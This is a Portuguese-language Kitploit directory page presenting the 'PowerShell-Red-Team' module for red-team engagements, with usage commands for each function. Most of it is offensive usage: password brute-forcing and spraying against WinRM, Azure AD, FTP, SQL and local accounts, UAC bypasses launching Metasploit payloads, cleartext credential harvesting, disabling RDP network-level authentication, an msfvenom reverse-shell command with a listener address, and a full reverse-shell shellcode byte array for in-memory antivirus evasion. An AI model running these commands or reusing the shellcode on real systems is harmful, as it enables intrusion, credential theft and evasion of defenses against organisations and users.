Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/tobor88/powershell-red-team
Escalada de PrivilégiosAtaques de SenhaMovimento LateralColeta de InformaçõesTestes de PenetraçãoRed Teaming
GitHubtobor88/powershell-red-team

PowerShell-Red-Team

Coleção de funções PowerShell que um Red Teamer pode usar em um engajamento

Ver Repositório
55192há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PowerShell-Red-Team-Enum

Coleção de funções PowerShell que um Red Teamer pode usar para coletar dados de uma máquina ou obter acesso a um alvo. Adicionei arquivos ps1 para os comandos incluídos no módulo RedTeamEnum. Isso permitirá que você encontre e use facilmente apenas um comando, se for tudo o que deseja. Se quiser o módulo inteiro, execute as seguintes ações após baixar o diretório RedTeamEnum e seu conteúdo para o seu dispositivo.

root@kitploit:~
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# Isso copiará o módulo para um local que permite importá-lo facilmente. Se você estiver usando a sincronização do OneDrive, pode ser necessário usar $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum.

C:\PS> Import-Module -Name RedTeamEnum -Verbose
# Isso importará todos os comandos do módulo.

C:\PS> Get-Command -Module RedTeamEnum
# Isso listará todos os comandos do módulo.
  • Convert-Base64.ps1 é uma função, como o nome indica, para codificar e/ou decodificar texto no formato Base64.
root@kitploit:~
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode

C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
  • Convert-StringToHash.ps1 é uma função para converter um valor de string em um valor de hash
root@kitploit:~
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Ambos os exemplos acima convertem a string Password123 para um valor hash MD5
  • Convert-SID.ps1 é uma função que converte valores SID em nomes de usuário e nomes de usuário em valores SID
root@kitploit:~
C:\PS> Convert-SID -Username tobor
# O exemplo acima converte o valor SID de tobor

C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# O valor acima converte o valor SID para o nome de usuário associado
  • Test-BruteZipPassword é uma função que usa um arquivo de senhas para realizar força bruta em um arquivo zip protegido por senha usando o 7zip
root@kitploit:~
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Este exemplo usa as senhas no arquivo pass.txt para quebrar a senha do arquivo KiTTY.7z protegido
  • Test-BruteForceCredentials é uma função que usa WinRM para realizar força bruta na senha de um usuário.
root@kitploit:~
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Este exemplo testará a única senha definida contra os usuários admin e administrator no computador remoto DC01.domain.com usando WinRM sobre HTTPS com um intervalo de 5 minutos entre cada tentativa

C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Este exemplo testará cada senha em rockyou.txt contra cada nome de usuário no arquivo users.txt sem pausa entre as tentativas
  • Get-LdapInfo é uma função da qual me orgulho muito para realizar consultas LDAP gerais. Embora apenas duas propriedades apareçam na saída, todas as propriedades associadas ao objeto podem ser vistas canalizando para Select-Object -Property * ou usando o parâmetro switch -Detailed.
root@kitploit:~
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# O exemplo acima retorna todas as propriedades dos objetos retornados em domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Se executado como administrador, isso retornará a senha LAPS para a conta de administrador local
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTA: Se você incluir o switch "-Detailed" e canalizar a saída para Where-Object, ele não retornará nenhuma propriedade. Se desejar exibir todas as propriedades do seu resultado, isso precisará ser feito usando o formato abaixo
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *

  • Get-NetworkShareInfo é um cmdlet usado para recuperar informações e/ou descobrir por força bruta compartilhamentos de rede disponíveis em uma máquina remota ou local
root@kitploit:~
C:\PS> Get-NetworkShareInfo -ShareName C$
# O exemplo acima retorna informações sobre o compartilhamento C$ na máquina local
#RESULTADOS
Name         : C$
InstallDate  :
Description  : Default share
Path         : C:\
ComputerName : TOBORDESKTOP
Status       : OK

C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# O exemplo acima descobre e retorna informações sobre NETLOGON, SYSVOL e C$ nos 3 dispositivos remotos DC01, DC02 e 10.10.10.1
  • Test-PrivEsc é uma função que pode ser usada para verificar se atualizações do WSUS sobre HTTP são vulneráveis a PrivEsc, se credenciais em texto claro estão armazenadas em locais comuns, se AlwaysInstallElevated é vulnerável a PrivEsc, se existem caminhos de serviço sem aspas e enumeração de possíveis permissões de gravação fracas para serviços.
root@kitploit:~
 C:\PS> Test-PrivEsc
  • Get-InitialEnum é uma função para enumerar o básico de um sistema operacional Windows para ajudar a exibir melhor possíveis fraquezas.
root@kitploit:~
 C:\PS> Get-InitialEnum
  • Start-SimpleHTTPServer é uma função usada para hospedar um servidor HTTP para baixar arquivos. É destinada a ser semelhante ao módulo SimpleHTTPServer do Python. Diretórios não são navegáveis através do servidor web. Os arquivos que serão hospedados para download virão do diretório atual em que você está ao emitir este comando.
root@kitploit:~
C:\PS> Start-SimpleHTTPServer
Abrir servidor HTTP na porta 8000

#OU
C:\PS> Start-SimpleHTTPServer -Port 80
# Abrir servidor HTTP na porta 80
  • Invoke-PortScan.ps1 é uma função para escanear todas as portas TCP possíveis em um alvo. Melhorarei no futuro para incluir UDP, bem como a capacidade de definir um intervalo de portas. Honestamente, esta nem vale a pena usar porque é muito lenta. Threading é uma área fraca para mim e pretendo trabalhar nisso com esta função.
root@kitploit:~
 C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
  • Invoke-PingSweep é uma função usada para realizar uma varredura de ping em um intervalo de sub-rede.
root@kitploit:~
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTA: O parâmetro Source só funciona se o valor de IP Source Routing for "Yes"

C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# O valor padrão para Count é 1

C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
  • Invoke-UseCreds é uma função que criei para simplificar o processo de uso de credenciais obtidas durante um teste de penetração. Uso -Passwd em vez de -Password porque esse parâmetro, quando definido, deve ser configurado como uma string segura, o que não é o caso ao inserir um valor nesse campo com esta função. Ele é convertido em uma string segura após você definir esse valor.
root@kitploit:~
# O comando abaixo usará as credenciais inseridas para abrir o executável msf.exe como o usuário tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose

Este cmdlet também pode ser usado para executar arquivos localizados em sua máquina local e executá-los em uma máquina remota

root@kitploit:~
# O comando abaixo usará as credenciais inseridas para abrir o executável exploit.ps1 como o usuário tobor em DC01 e DC02 usando WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"

# O comando abaixo usará as credenciais inseridas para abrir o executável exploit.ps1 como o usuário tobor em DC01 e DC02 usando WinRM sobre HTTPS
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
  • Invoke-FodHelperBypass é uma função que testa se a bypass do UAC funcionará antes de executá-la para elevar privilégios. Isso, obviamente, precisa ser executado por um membro do grupo de administradores locais, pois esta bypass eleva os privilégios do shell em que você está. Você pode definir o programa a ser executado, o que permitirá executar payloads gerados pelo msfvenom, bem como cmd ou powershell ou apenas emitir comandos.
root@kitploit:~
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# OU
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
  • Invoke-InMemoryPayload é usado para evasão de AV usando uma injeção em memória. Isso exigirá que o executor gere um payload msfvenom usando um comando semelhante ao exemplo abaixo e insira a variável "[Byte[]] $buf" no parâmetro "ShellCode" de Invoke-InMemoryPayload.
root@kitploit:~
# Gerar payload para usar
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell

Inicie um listener, use esse valor no parâmetro "ShellCode" e execute o comando para obter seu shell. Isso também exigirá que certas proteções de memória não estejam habilitadas. NOTA: Observe que NÃO HÁ ASPAS DUPLAS ao redor do valor da variável ShellCode. Isso ocorre porque é esperado um array de bytes.

root@kitploit:~
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Imagem Invoke-InMemoryPayload

  • Get-ClearTextPassword é usado para obter senhas em cache, senhas SNMP no registro, senhas de logon automático e senhas WiFi armazenadas em um dispositivo. Apenas as senhas do usuário atual podem ser obtidas de locais salvos
root@kitploit:~
Get-ClearTextPassword -All

O comando acima retorna todos os resultados possíveis que o cmdlet é capaz de fornecer. Locais individuais também podem ser pesquisados. Por exemplo

root@kitploit:~
Get-ClearTextPassword -AutoLogon

Mais de um local pode ser definido em sua pesquisa Por exemplo

root@kitploit:~
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
  • Invoke-AzureEnum.ps1 pode ser usado para utilizar credenciais do Azure para enumeração do Azure, salvando os resultados em um arquivo
root@kitploit:~
Invoke-AzureEnum.ps1 -Path 'C:\Temp\enum.txt'
  • Invoke-AzurePasswordSpray pode ser usado para realizar um ataque de dicionário de senhas contra um único usuário ou vários usuários enquanto testa credenciais contra o Azure AD.
root@kitploit:~
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!'
# Este exemplo testa as senhas definidas contra a lista de nomes de usuário definidos

Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60
# Este exemplo testa as senhas definidas contra a lista de nomes de usuário definidos com uma espera de 60 segundos antes da próxima tentativa de login

Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60 -RoundRobin
# Este exemplo testa as senhas definidas contra a lista de nomes de usuário definidos com uma espera de 60 segundos antes da próxima tentativa de login. Isso realiza tentativas de autenticação de forma Round Robin para os nomes de usuário definidos

$UserNames = "[email protected]","[email protected]","[email protected]","[email protected]"
$UserNames | Invoke-AzurePasswordSpray -Passwd "Password123!" -RoundRobin
# Este exemplo testa as senhas definidas contra a lista de nomes de usuário definidos de forma Round Robin
  • Test-KerberosDoubleHop é usado para descobrir Computadores, Usuários e/ou contas de Administrador que são vulneráveis a um Kerberos Double Hop
root@kitploit:~
Test-KerberosDoubleHop -All
# Este exemplo verifica e exibe Computadores, Usuários e Objetos AD de Administrador vulneráveis a um Kerberos Double Hop no controlador de domínio em que você está logado

Test-KerberosDoubleHop -Server DC01.domain.com -UserResults
# Este exemplo usa WinRM para exibir Objetos AD de Usuário vulneráveis a um Kerberos Double Hop no controlador de domínio remoto DC01.domain.com

Test-KerberosDoubleHop -Server DC01.domain.com -UseSSL -AdminResults
# Este exemplo usa WinRM sobre HTTPS para exibir Objetos AD de Administrador vulneráveis a um Kerberos Double Hop no controlador de domínio remoto DC01.domain.com

Test-KerberosDoubleHop -ComputerResults -AdminResults
# Este exemplo verifica e exibe Objetos AD de Computador e Administrador vulneráveis a um Kerberos Double Hop no controlador de domínio em que você está logado
  • Invoke-DccwUACBypass é usado para bypassar o UAC sem senha se você for membro de um grupo de administradores. Isso explora a funcionalidade do DCCW para realizar essa tarefa. Se as configurações não permitirem que isso funcione, este cmdlet interromperá a execução. Se as configurações permitirem que isso funcione, ele informará o que fazer para se defender contra isso.
root@kitploit:~
Invoke-DccwUACBypass -Program "cmd /c start powershell"
# Este exemplo explora o método de bypass do UAC do DCCW para abrir o PowerShell com privilégios administrativos

Invoke-DccwUACBypass -Program "cmd /c start mfs.exe"
# Este exemplo explora o método de bypass do UAC do DCCW para executar o payload msf.exe com privilégios administrativos
  • Enable-RDP é usado para habilitar RDP em uma máquina local, desabilitar a autenticação em nível de rede e habilitar a regra de firewall para a porta 3389.
root@kitploit:~
Enable-RDP
  • Test-BruteLocalUserCredential é usado para realizar força bruta na senha de uma conta local em uma máquina local
root@kitploit:~
Test-BruteLocalUserCredential -Username Administrator -Passwd 'Password123!','Passw0rd1!'
# Este exemplo testa as duas senhas definidas contra a conta de usuário Administrator

Test-BruteLocalUserCredential -Username Administrator -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este exemplo testa as senhas dentro do arquivo C:\Temp\passlist.txt contra a conta de usuário Administrator

$Users = (Get-LocalUser).Name
ForEach $U in $Users) {Test-BruteLocalUserCredential -Username $U -Passwd (Get-Content -Path C:\Temp\passlist.txt)}
# Este exemplo testa uma lista de senhas contra todas as contas de usuário locais
  • Test-FTPCredential é usado para realizar força bruta de senhas contra um servidor FTP ou FTP sobre SSL
root@kitploit:~
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21 -Protocol FTP
# Este exemplo testa as 3 senhas definidas contra a conta ftpuser no servidor FTP localizado em FTP.domain.com na porta 21

Test-FTPCredential -Server FTP.domian.com -Username ftpuser,admin -Passwd 'Password123','Passw0rd1!','password123!' -Protocol FTPS -Seconds 60
# Este exemplo testa as 3 senhas definidas contra as contas admin e ftpuser no servidor FTP localizado em FTP.domain.com na porta 21, aguardando 60 segundos entre tentativas falhas

Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este exemplo testa as senhas em C:\Temp\passlist.txt contra todos os usuários definidos no arquivo C:\Temp\userlist.txt contra o servidor FTP localizado em FTP.domain.com na porta 21, aguardando 1 segundo entre tentativas falhas
  • Test-SQLCredential é usado para realizar força bruta de senhas contra um servidor SQL local ou remoto
root@kitploit:~
Test-SQLCredential -Server sql.domian.com -Username sa -Passwd 'Password123','Passw0rd1!','password123!' -Port 1433
# Este exemplo testa as 3 senhas definidas contra a conta sa no servidor SQL localizado em sql.domain.com na porta 1433

Test-SQLCredential -Server sql.domian.com -Username sa,admin -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# Este exemplo testa as 3 senhas definidas contra as contas admin e sa no servidor SQL localizado em sql.domain.com na porta 1433, aguardando 60 segundos entre tentativas falhas

Test-SQLCredential -Server sql.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este exemplo testa as senhas em C:\Temp\passlist.txt contra todos os usuários definidos no arquivo C:\Temp\userlist.txt contra o servidor SQL localizado em sql.domain.com na porta 1433, aguardando 1 segundo entre tentativas falhas

Para mais informações sobre Start-Listener, Start-Bind e Invoke-ReversePowerShell, veja https://github.com/tobor88/ReversePowerShell

Baixar ferramenta